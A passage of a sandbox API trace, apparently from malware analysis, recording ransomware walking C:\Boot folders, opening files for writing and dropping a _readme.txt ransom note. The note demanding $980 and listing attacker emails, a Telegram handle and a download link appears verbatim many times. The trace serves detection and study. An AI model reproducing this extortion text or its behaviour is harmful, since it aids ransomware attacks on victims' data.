lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.683] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.683] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.684] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.684] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.685] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.685] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.685] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0116.685] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.686] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.686] PathFindFileNameW (pszPath="") returned="" [0116.686] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.686] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.686] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.686] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.686] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.686] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0116.686] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0116.686] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.686] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.687] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.687] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.687] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.687] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.687] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0116.687] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.687] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.687] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.687] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.687] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.687] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.687] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.688] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.688] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.689] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.689] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0116.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.689] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.689] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.689] PathFindFileNameW (pszPath="") returned="" [0116.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.689] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.689] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.689] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.689] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d10 [0116.690] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.690] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0116.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.690] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0116.690] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f9f20 [0116.690] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of 